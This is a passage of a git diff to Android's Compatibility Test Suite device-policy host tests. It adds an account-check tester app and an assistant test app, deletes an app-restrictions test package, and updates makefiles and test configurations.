+    <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCppToolsApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCppToolsTestCases.jar" />
+        <option name="runtime-hint" value="7m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 2e585d7..1828e2c 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -22,9 +22,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.adminhostside
 
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index 48b3b5b..51711dd 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -14,6 +14,19 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS Device Policy host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <!-- Push the list of public APIs to device -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/device-policy-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/device-policy-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <!-- The source file current.api is prepared by //cts/tests/signature/api/Android.mk -->
+        <!-- The target path should be consistent with CurrentApiHelper#CURRENT_API_FILE -->
+        <option name="push" value="current.api->/data/local/tmp/device-policy-test/current.api" />
+    </target_preparer>
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsDevicePolicyManagerTestCases.jar" />
         <option name="runtime-hint" value="31m41s" />
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 45f4193..f2bad22 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -27,13 +27,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-v4  \
-    ctstestrunner  \
-    ub-uiautomator  \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
 
-LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
+LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/src/com/android/cts/devicepolicy/accountcheck/AccountCheckTest.java b/hostsidetests/devicepolicy/app/AccountCheck/Auth/src/com/android/cts/devicepolicy/accountcheck/AccountCheckTest.java
index 62c0b0b..db2b5ab 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/src/com/android/cts/devicepolicy/accountcheck/AccountCheckTest.java
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/src/com/android/cts/devicepolicy/accountcheck/AccountCheckTest.java
@@ -29,9 +29,9 @@
 
     private static final String ACCOUNT_TYPE = "com.android.cts.devicepolicy.accountcheck";
     private static final String ACCOUNT_FEATURE_ALLOWED =
-            "android.account.DEVICE_OR_PROFILE_OWNER_ALLOWED";
+            DevicePolicyManager.ACCOUNT_FEATURE_DEVICE_OR_PROFILE_OWNER_ALLOWED;
     private static final String ACCOUNT_FEATURE_DISALLOWED =
-            "android.account.DEVICE_OR_PROFILE_OWNER_DISALLOWED";
+            DevicePolicyManager.ACCOUNT_FEATURE_DEVICE_OR_PROFILE_OWNER_DISALLOWED;
 
     private DevicePolicyManager mDevicePolicyManager;
     private AccountManager mAccountManager;
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
new file mode 100644
index 0000000..8036348
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
new file mode 100644
index 0000000..a6ea4aa
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.devicepolicy.accountcheck.tester">
+
+    <!-- GET_ACCOUNTS may stop working.  Targeting at 25 may prevent it. -->
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+
+    <application android:label="@string/label">
+        <service android:name=".TestAuthenticator"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                       android:resource="@xml/authenticator" />
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.devicepolicy.accountcheck.auth" />
+</manifest>
+
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/README.txt b/hostsidetests/devicepolicy/app/AccountCheck/Tester/README.txt
new file mode 100644
index 0000000..bfb6e3a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/README.txt
@@ -0,0 +1,31 @@
+This package helps creating accounts with DPM.ACCOUNT_FEATURE_DEVICE_OR_PROFILE_OWNER_ALLOWED / DISALLOWED.
+
+
+Note: AccountCheckHostSideTest should pass even with a pre-existing ALLOWED account.  Meaning, even
+after you followed the below steps to add an ALLOWED account, AccountCheckHostSideTest should
+still pass.
+
+- Build
+$ mmma -j cts/hostsidetests/devicepolicy/app/AccountCheck/Tester/
+
+- Install
+$ adb install  -r -g  ${ANDROID_PRODUCT_OUT}/data/app/CtsAccountCheckAuthAppTester/CtsAccountCheckAuthAppTester.apk
+
+
+- Add an account with DEVICE_OR_PROFILE_OWNER_ALLOWED.
+adb shell am startservice -a add_account \
+    --esa features android.account.DEVICE_OR_PROFILE_OWNER_ALLOWED \
+    com.android.cts.devicepolicy.accountcheck.tester/.TestAuthenticator
+
+- Add an account with DEVICE_OR_PROFILE_OWNER_DISALLOWED.
+adb shell am startservice -a add_account \
+    --esa features android.account.DEVICE_OR_PROFILE_OWNER_DISALLOWED \
+    com.android.cts.devicepolicy.accountcheck.tester/.TestAuthenticator
+
+- Verify
+$ dumpsys-account
+User UserInfo{0:Owner:13}:
+  Accounts: 1
+    Account {name=8894956487610:android.account.DEVICE_OR_PROFILE_OWNER_ALLOWED, type=com.android.cts.devicepolicy.authcheck.tester}
+
+
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/values/strings.xml b/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/values/strings.xml
new file mode 100644
index 0000000..97496df
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources
+    xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="label">accountcheck.tester</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/xml/authenticator.xml b/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/xml/authenticator.xml
new file mode 100644
index 0000000..e139b6e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/res/xml/authenticator.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- The attributes in this XML file provide configuration information -->
+<!-- for the Account Manager. -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.android.cts.devicepolicy.authcheck.tester"
+    android:label="@string/label"
+/>
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/src/com/android/cts/devicepolicy/accountcheck/tester/TestAuthenticator.java b/hostsidetests/devicepolicy/app/AccountCheck/Tester/src/com/android/cts/devicepolicy/accountcheck/tester/TestAuthenticator.java
new file mode 100644
index 0000000..8ad32c1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/src/com/android/cts/devicepolicy/accountcheck/tester/TestAuthenticator.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.accountcheck.tester;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.List;
+
+public class TestAuthenticator extends Service {
+    private static final String TAG = "TestAuthenticator";
+
+    private static final String ACCOUNT_TYPE = "com.android.cts.devicepolicy.authcheck.tester";
+
+
+    private static Authenticator sInstance;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (sInstance == null) {
+            sInstance = new Authenticator(getApplicationContext());
+
+        }
+        return sInstance.getIBinder();
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if ("add_account".equals(intent.getAction())) {
+            final String[] features = intent.getStringArrayExtra("features");
+            createAccount(this, ACCOUNT_TYPE, features);
+        }
+
+        stopSelf();
+        return 0;
+    }
+
+    private static Account createAccount(Context context, String accountType,
+            String[] requiredFeatures) {
+        if (requiredFeatures == null) {
+            requiredFeatures = new String[0];
+        }
+
+        final String name = SystemClock.elapsedRealtimeNanos()
+                + ":" + TextUtils.join(",", requiredFeatures);
+
+        Log.i(TAG, "Adding account '" + name + "' for " + accountType
+                + "... " + Arrays.asList(requiredFeatures));
+
+        final Account account = new Account(name, accountType);
+        context.getSystemService(AccountManager.class).addAccountExplicitly(
+                account, "password", new Bundle());
+        return account;
+    }
+
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private final Context mContxet;
+
+        public Authenticator(Context context) {
+            super(context);
+            mContxet = context;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                String authTokenType, String[] requiredFeatures, Bundle options) {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+                Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return "token_label";
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+                String[] features) throws NetworkErrorException {
+
+            final int p = account.name.indexOf(':');
+
+            boolean hasAll = true;
+            final List<String> hasFeatures =
+                    Arrays.asList(TextUtils.split(account.name.substring(p + 1), ","));
+            for (String requested : features) {
+                if (!hasFeatures.contains(requested)) {
+                    hasAll = false;
+                    break;
+                }
+            }
+
+            Log.i(TAG, "Checking feature for account '" + account + "' for features="
+                    + Arrays.asList(features) + " result=" + hasAll);
+
+            Bundle result = new Bundle();
+            result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, hasAll);
+            return result;
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 1068827..6e70b01 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -27,12 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-v4 \
-    ctstestrunner \
-    ub-uiautomator \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk
deleted file mode 100644
index f5d37f1..0000000
--- a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAppRestrictionsManagingApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    android-support-v4 \
-    ctstestrunner \
-    android-support-test \
-    legacy-android-test
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/AndroidManifest.xml
deleted file mode 100644
index 4a6f2a5..0000000
--- a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.apprestrictions.managingapp">
-
-    <uses-sdk android:minSdkVersion="24"/>
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.apprestrictions.managingapp"
-                     android:label="App restrictions managing package CTS Tests"/>
-</manifest>
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/src/com/android/cts/apprestrictions/managingapp/ApplicationRestrictionsManagerTest.java b/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/src/com/android/cts/apprestrictions/managingapp/ApplicationRestrictionsManagerTest.java
deleted file mode 100644
index d9b05b9..0000000
--- a/hostsidetests/devicepolicy/app/AppRestrictionsManagingApp/src/com/android/cts/apprestrictions/managingapp/ApplicationRestrictionsManagerTest.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.apprestrictions.managingapp;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.os.UserManager;
-import android.test.InstrumentationTestCase;
-import android.test.MoreAsserts;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests that a package other than the DPC can manage app restrictions if allowed by the DPC
- * via {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String)}
- */
-public class ApplicationRestrictionsManagerTest extends InstrumentationTestCase {
-
-    private static final String APP_RESTRICTIONS_TARGET_PKG =
-            "com.android.cts.apprestrictions.targetapp";
-    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
-            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
-    private static final String ACTION_RESTRICTIONS_VALUE =
-            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
-    private static final ComponentName TEST_COMPONENT_NAME = new ComponentName(
-            APP_RESTRICTIONS_TARGET_PKG, ApplicationRestrictionsManagerTest.class.getName());
-
-    private static final Bundle BUNDLE_0 = createBundle0();
-    private static final Bundle BUNDLE_1 = createBundle1();
-
-    private static final long WAIT_FOR_ACTIVITY_TIMEOUT_SECONDS = 10;
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
-                mReceivedRestrictions = intent.getBundleExtra("value");
-                mOnRestrictionsSemaphore.release();
-            }
-        }
-    };
-
-    private Context mContext;
-    private DevicePolicyManager mDevicePolicyManager;
-    private UserManager mUserManager;
-    private final Semaphore mOnRestrictionsSemaphore = new Semaphore(0);
-    private Bundle mReceivedRestrictions;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getContext();
-        mDevicePolicyManager = (DevicePolicyManager)
-                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
-        mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
-
-        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_RESTRICTIONS_VALUE));
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-
-        super.tearDown();
-    }
-
-    public void testCannotManageAppRestrictions() {
-        assertFalse(mDevicePolicyManager.isCallerApplicationRestrictionsManagingPackage());
-        try {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "cannot manage application restrictions", expected.getMessage());
-        }
-        try {
-            mDevicePolicyManager.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "cannot manage application restrictions", expected.getMessage());
-        }
-
-        // Should still be able to retrieve our own restrictions via user manager
-        mUserManager.getApplicationRestrictions(mContext.getPackageName());
-    }
-
-    public void testCanManageAppRestrictions() {
-        assertTrue(mDevicePolicyManager.isCallerApplicationRestrictionsManagingPackage());
-        try {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
-            assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG));
-
-            // Check that the target app can retrieve the same restrictions.
-            assertBundle0(waitForChangedRestriction());
-
-            // Test overwriting
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
-            assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG));
-            assertBundle1(waitForChangedRestriction());
-        } finally {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-            assertTrue(mDevicePolicyManager.getApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
-        }
-    }
-
-    public void testSettingComponentNameThrowsException() {
-        assertTrue(mDevicePolicyManager.isCallerApplicationRestrictionsManagingPackage());
-        try {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    TEST_COMPONENT_NAME, APP_RESTRICTIONS_TARGET_PKG, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
-        }
-        try {
-            mDevicePolicyManager.getApplicationRestrictions(
-                    TEST_COMPONENT_NAME, APP_RESTRICTIONS_TARGET_PKG);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
-        }
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle0() {
-        Bundle result = new Bundle();
-        result.putString("dummyString", "value");
-        return result;
-    }
-
-    // Should be consistent with createBundle0
-    private void assertBundle0(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals("value", bundle.getString("dummyString"));
-    }
-
-    // Should be consistent with assertBundle1
-    private static Bundle createBundle1() {
-        Bundle result = new Bundle();
-        result.putInt("dummyInt", 1);
-        return result;
-    }
-
-    // Should be consistent with createBundle1
-    private void assertBundle1(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals(1, bundle.getInt("dummyInt"));
-    }
-
-    private void startTestActivity() {
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName(
-                        APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME))
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-    }
-
-    private Bundle waitForChangedRestriction() {
-        startTestActivity();
-
-        try {
-            assertTrue(mOnRestrictionsSemaphore.tryAcquire(
-                    WAIT_FOR_ACTIVITY_TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("waitForChangedRestriction() interrupted");
-        }
-
-        return mReceivedRestrictions;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
new file mode 100644
index 0000000..196f323
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDevicePolicyAssistApp
+
+LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util android-support-test
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
new file mode 100644
index 0000000..5fc20de
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.devicepolicy.assistapp" >
+
+    <application>
+
+        <service android:name=".MyInteractionService"
+                android:label="CTS test voice interaction service"
+                android:permission="android.permission.BIND_VOICE_INTERACTION"
+                android:exported="true">
+            <meta-data android:name="android.voice_interaction"
+                    android:resource="@xml/interaction_service" />
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService" />
+            </intent-filter>
+        </service>
+
+        <service android:name=".MyInteractionSessionService"
+                android:permission="android.permission.BIND_VOICE_INTERACTION">
+        </service>
+
+        <activity android:name=".SettingsActivity"
+                android:exported="true">
+        </activity>
+    </application>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.devicepolicy.assistapp"
+            android:label="Assistant related device policy CTS" />
+
+</manifest>
\ No newline at end of file
